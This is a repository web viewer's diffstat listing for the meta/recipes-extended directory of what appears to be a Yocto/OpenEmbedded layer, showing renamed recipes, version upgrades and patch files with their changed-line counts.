summaryrefslogtreecommitdiffstats
path: root/meta/recipes-extended
diff options
context:
space:
mode:
Diffstat (limited to 'meta/recipes-extended')
-rw-r--r--meta/recipes-extended/acpica/acpica_20240322.bb (renamed from meta/recipes-extended/acpica/acpica_20200528.bb)26
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch53
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb (renamed from meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb)21
-rw-r--r--meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch23
-rw-r--r--meta/recipes-extended/at/at/file_replacement_with_gplv2.patch8
-rw-r--r--meta/recipes-extended/at/at/fix_parallel_build_error.patch40
-rw-r--r--meta/recipes-extended/at/at/makefile-fix-parallel.patch8
-rw-r--r--meta/recipes-extended/at/at_3.2.5.bb (renamed from meta/recipes-extended/at/at_3.1.23.bb)52
-rw-r--r--meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb72
-rw-r--r--meta/recipes-extended/bash/bash.inc66
-rw-r--r--meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch226
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch16
-rw-r--r--meta/recipes-extended/bash/bash/execute_cmd.patch28
-rw-r--r--meta/recipes-extended/bash/bash/fix-filesubst-errexit.patch34
-rw-r--r--meta/recipes-extended/bash/bash/use_aclocal.patch70
-rw-r--r--meta/recipes-extended/bash/bash_5.0.bb72
-rw-r--r--meta/recipes-extended/bash/bash_5.2.21.bb24
-rw-r--r--meta/recipes-extended/bc/bc/run-ptest9
-rw-r--r--meta/recipes-extended/bc/bc_1.07.1.bb18
-rw-r--r--meta/recipes-extended/blktool/blktool_4-7.1.bb2
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am4
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb32
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch28
-rw-r--r--meta/recipes-extended/cpio/cpio_2.13.bb51
-rw-r--r--meta/recipes-extended/cpio/cpio_2.15.bb87
-rwxr-xr-xmeta/recipes-extended/cpio/files/run-ptest3
-rw-r--r--meta/recipes-extended/cpio/files/test.sh10
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch105
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch40
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch53
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.11.bb33
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.5.bb29
-rw-r--r--meta/recipes-extended/cronie/cronie/crond_pam_config.patch10
-rw-r--r--meta/recipes-extended/cronie/cronie_1.7.1.bb (renamed from meta/recipes-extended/cronie/cronie_1.5.5.bb)29
-rw-r--r--meta/recipes-extended/cups/cups.inc76
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch42
-rw-r--r--meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch51
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch35
-rw-r--r--meta/recipes-extended/cups/cups_2.3.3.bb6
-rw-r--r--meta/recipes-extended/cups/cups_2.4.7.bb5
-rw-r--r--meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb5
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc2
-rw-r--r--meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch24
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.10.bb (renamed from meta/recipes-extended/diffutils/diffutils_3.7.bb)13
-rw-r--r--meta/recipes-extended/ed/ed_1.20.1.bb (renamed from meta/recipes-extended/ed/ed_1.16.bb)12
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch8
-rw-r--r--meta/recipes-extended/ethtool/ethtool_6.7.bb (renamed from meta/recipes-extended/ethtool/ethtool_5.7.bb)10
-rw-r--r--meta/recipes-extended/findutils/findutils.inc9
-rw-r--r--meta/recipes-extended/findutils/findutils/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest57
-rw-r--r--meta/recipes-extended/findutils/findutils_4.7.0.bb15
-rw-r--r--meta/recipes-extended/findutils/findutils_4.9.0.bb27
-rw-r--r--meta/recipes-extended/gawk/gawk/run-ptest7
-rw-r--r--meta/recipes-extended/gawk/gawk_5.1.0.bb55
-rw-r--r--meta/recipes-extended/gawk/gawk_5.3.0.bb87
-rw-r--r--meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch31
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch14
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch42
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch38
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch47
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch78
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch50
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb75
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.52.bb122
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb12
-rw-r--r--meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch29
-rw-r--r--meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch181
-rw-r--r--meta/recipes-extended/gperf/gperf_3.1.bb9
-rw-r--r--meta/recipes-extended/grep/grep_3.11.bb (renamed from meta/recipes-extended/grep/grep_3.4.bb)14
-rw-r--r--meta/recipes-extended/groff/files/0001-Include-config.h.patch1228
-rw-r--r--meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch22
-rw-r--r--meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch51
-rw-r--r--meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch31
-rw-r--r--meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch106
-rw-r--r--meta/recipes-extended/groff/files/0001-support-musl.patch41
-rw-r--r--meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch37
-rw-r--r--meta/recipes-extended/groff/groff_1.23.0.bb (renamed from meta/recipes-extended/groff/groff_1.22.4.bb)48
-rw-r--r--meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch (renamed from meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch)14
-rw-r--r--meta/recipes-extended/gzip/gzip.inc10
-rw-r--r--meta/recipes-extended/gzip/gzip_1.13.bb (renamed from meta/recipes-extended/gzip/gzip_1.10.bb)17
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.65.bb (renamed from meta/recipes-extended/hdparm/hdparm_9.58.bb)20
-rw-r--r--meta/recipes-extended/images/core-image-full-cmdline.bb4
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb2
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller-initramfs.bb (renamed from meta/recipes-extended/images/core-image-testmaster-initramfs.bb)4
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller.bb (renamed from meta/recipes-extended/images/core-image-testmaster.bb)4
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch45
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch18
-rw-r--r--meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch31
-rw-r--r--meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch (renamed from meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch)10
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.10.bb (renamed from meta/recipes-extended/iptables/iptables_1.8.5.bb)56
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch55
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch51
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch28
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch46
-rw-r--r--meta/recipes-extended/iputils/iputils_20240117.bb59
-rw-r--r--meta/recipes-extended/iputils/iputils_s20190709.bb74
-rw-r--r--meta/recipes-extended/less/files/run-ptest3
-rw-r--r--meta/recipes-extended/less/less_643.bb (renamed from meta/recipes-extended/less/less_562.bb)34
-rw-r--r--meta/recipes-extended/libaio/libaio/00_arches.patch12
-rw-r--r--meta/recipes-extended/libaio/libaio/destdir.patch17
-rw-r--r--meta/recipes-extended/libaio/libaio/system-linkage.patch18
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.113.bb (renamed from meta/recipes-extended/libaio/libaio_0.3.111.bb)7
-rw-r--r--meta/recipes-extended/libarchive/libarchive/configurehack.patch49
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.7.2.bb (renamed from meta/recipes-extended/libarchive/libarchive_3.4.3.bb)31
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.7.bb (renamed from meta/recipes-extended/libidn/libidn2_2.3.0.bb)17
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.5.bb (renamed from meta/recipes-extended/libmnl/libmnl_1.0.4.bb)7
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_git.bb8
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis.bb10
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb (renamed from meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb)8
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch34
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.14.bb31
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.28.bb33
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/ipv6.patch52
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb (renamed from meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb)19
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch42
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd19
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf38
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb83
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb76
-rw-r--r--meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch39
-rw-r--r--meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch149
-rw-r--r--meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch36
-rwxr-xr-xmeta/recipes-extended/logrotate/logrotate/run-ptest5
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.21.0.bb (renamed from meta/recipes-extended/logrotate/logrotate_3.17.0.bb)51
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb12
-rw-r--r--meta/recipes-extended/lsof/files/lsof-remove-host-information.patch76
-rw-r--r--meta/recipes-extended/lsof/files/remove-host-information.patch123
-rw-r--r--meta/recipes-extended/lsof/lsof_4.91.bb63
-rw-r--r--meta/recipes-extended/lsof/lsof_4.99.3.bb23
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch21
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch81
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch33
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch69
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch57
-rw-r--r--meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp_20240129.bb (renamed from meta/recipes-extended/ltp/ltp_20200515.bb)96
-rw-r--r--meta/recipes-extended/lzip/lzip_1.24.1.bb (renamed from meta/recipes-extended/lzip/lzip_1.21.bb)9
-rw-r--r--meta/recipes-extended/lzip/lzlib_1.14.bb39
-rw-r--r--meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch38
-rw-r--r--meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch16
-rw-r--r--meta/recipes-extended/man-db/man-db_2.12.1.bb72
-rw-r--r--meta/recipes-extended/man-db/man-db_2.9.3.bb58
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch31
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch33
-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.07.bb37
-rw-r--r--meta/recipes-extended/man-pages/man-pages_6.06.bb50
-rw-r--r--meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch59
-rw-r--r--meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch129
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch25
-rw-r--r--meta/recipes-extended/mc/mc_4.8.24.bb55
-rw-r--r--meta/recipes-extended/mc/mc_4.8.31.bb57
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch31
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch53
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch36
-rw-r--r--meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch56
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch9
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch6
-rw-r--r--meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch155
-rw-r--r--meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/debian-no-Werror.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/include_sysmacros.patch14
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/run-ptest11
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.3.bb (renamed from meta/recipes-extended/mdadm/mdadm_4.1.bb)70
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb6
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch47
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch21
-rw-r--r--meta/recipes-extended/minicom/minicom_2.9.bb (renamed from meta/recipes-extended/minicom/minicom_2.7.1.bb)17
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.25.bb (renamed from meta/recipes-extended/msmtp/msmtp_1.8.11.bb)8
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch26
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch22
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb (renamed from meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb)29
-rw-r--r--meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch14
-rw-r--r--meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch29
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.24.bb (renamed from meta/recipes-extended/newt/libnewt_0.52.21.bb)20
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb6
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb60
-rw-r--r--meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch68
-rw-r--r--meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch42
-rw-r--r--meta/recipes-extended/pam/libpam/99_pam2
-rw-r--r--meta/recipes-extended/pam/libpam/crypt_configure.patch40
-rw-r--r--meta/recipes-extended/pam/libpam/include_paths_header.patch59
-rw-r--r--meta/recipes-extended/pam/libpam/libpam-xtests.patch22
-rw-r--r--meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch203
-rw-r--r--meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch195
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest32
-rw-r--r--meta/recipes-extended/pam/libpam_1.6.0.bb (renamed from meta/recipes-extended/pam/libpam_1.3.1.bb)139
-rw-r--r--meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch33
-rw-r--r--meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch34
-rw-r--r--meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch26
-rw-r--r--meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch34
-rw-r--r--meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch66
-rw-r--r--meta/recipes-extended/parted/files/autoconf-2.73.patch22
-rw-r--r--meta/recipes-extended/parted/files/no_check.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest6
-rw-r--r--meta/recipes-extended/parted/parted_3.6.bb (renamed from meta/recipes-extended/parted/parted_3.3.bb)35
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb4
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb20
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb22
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb8
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb4
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb6
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb8
-rw-r--r--meta/recipes-extended/pigz/pigz_2.8.bb (renamed from meta/recipes-extended/pigz/pigz_2.4.bb)11
-rw-r--r--meta/recipes-extended/procps/procps_4.0.4.bb (renamed from meta/recipes-extended/procps/procps_3.3.16.bb)43
-rw-r--r--meta/recipes-extended/psmisc/psmisc.inc33
-rw-r--r--meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch6
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.7.bb (renamed from meta/recipes-extended/psmisc/psmisc_23.3.bb)6
-rw-r--r--meta/recipes-extended/quota/quota/fcntl.patch27
-rw-r--r--meta/recipes-extended/quota/quota_4.09.bb (renamed from meta/recipes-extended/quota/quota_4.05.bb)10
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch2
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch58
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb (renamed from meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb)19
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb14
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch11
-rw-r--r--meta/recipes-extended/screen/screen_4.9.1.bb (renamed from meta/recipes-extended/screen/screen_4.8.0.bb)15
-rw-r--r--meta/recipes-extended/sed/sed/run-ptest2
-rw-r--r--meta/recipes-extended/sed/sed_4.9.bb (renamed from meta/recipes-extended/sed/sed_4.8.bb)20
-rw-r--r--meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch123
-rw-r--r--meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch37
-rw-r--r--meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch301
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch13
-rw-r--r--meta/recipes-extended/shadow/files/login.defs_shadow-sysroot1
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/login4
-rw-r--r--meta/recipes-extended/shadow/files/securetty1
-rw-r--r--meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch27
-rw-r--r--meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch111
-rw-r--r--meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch83
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/shadow-securetty_4.6.bb1
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb7
-rw-r--r--meta/recipes-extended/shadow/shadow.inc121
-rw-r--r--meta/recipes-extended/shadow/shadow_4.15.0.bb10
-rw-r--r--meta/recipes-extended/shadow/shadow_4.8.1.bb10
-rw-r--r--meta/recipes-extended/slang/slang/dont-link-to-host.patch23
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch32
-rw-r--r--meta/recipes-extended/slang/slang_2.3.3.bb (renamed from meta/recipes-extended/slang/slang_2.3.2.bb)13
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch23
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch32
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb27
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb36
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch62
-rw-r--r--meta/recipes-extended/sudo/sudo.inc31
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.15p5.bb (renamed from meta/recipes-extended/sudo/sudo_1.9.2.bb)26
-rwxr-xr-xmeta/recipes-extended/sysklogd/files/sysklogd3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb (renamed from meta/recipes-extended/sysklogd/sysklogd.inc)19
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch10
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.2.2.bb8
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.7.5.bb (renamed from meta/recipes-extended/sysstat/sysstat.inc)39
-rw-r--r--meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch228
-rw-r--r--meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch60
-rw-r--r--meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch112
-rw-r--r--meta/recipes-extended/tar/tar/musl_dirent.patch19
-rw-r--r--meta/recipes-extended/tar/tar/run-ptest14
-rw-r--r--meta/recipes-extended/tar/tar_1.32.bb66
-rw-r--r--meta/recipes-extended/tar/tar_1.35.bb102
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch114
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch5
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb22
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb1
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch (renamed from meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch)22
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch (renamed from meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch)16
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch28
-rw-r--r--meta/recipes-extended/texinfo/texinfo/link-zip.patch23
-rw-r--r--meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch254
-rw-r--r--meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch17
-rw-r--r--meta/recipes-extended/texinfo/texinfo_7.1.bb (renamed from meta/recipes-extended/texinfo/texinfo_6.7.bb)43
-rw-r--r--meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch27
-rw-r--r--meta/recipes-extended/time/time_1.9.bb8
-rw-r--r--meta/recipes-extended/timezone/timezone.inc16
-rw-r--r--meta/recipes-extended/timezone/tzcode-native.bb3
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb354
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch112
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch137
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch103
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch67
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb15
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config.bb9
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch37
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch30
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb38
-rw-r--r--meta/recipes-extended/wget/wget.inc12
-rw-r--r--meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch9
-rw-r--r--meta/recipes-extended/wget/wget_1.20.3.bb8
-rw-r--r--meta/recipes-extended/wget/wget_1.24.5.bb7
-rw-r--r--meta/recipes-extended/which/which_2.21.bb13
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch145
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb4
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb29
-rw-r--r--meta/recipes-extended/xz/xz/run-ptest26
-rw-r--r--meta/recipes-extended/xz/xz_5.2.5.bb43
-rw-r--r--meta/recipes-extended/xz/xz_5.4.6.bb69
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch134
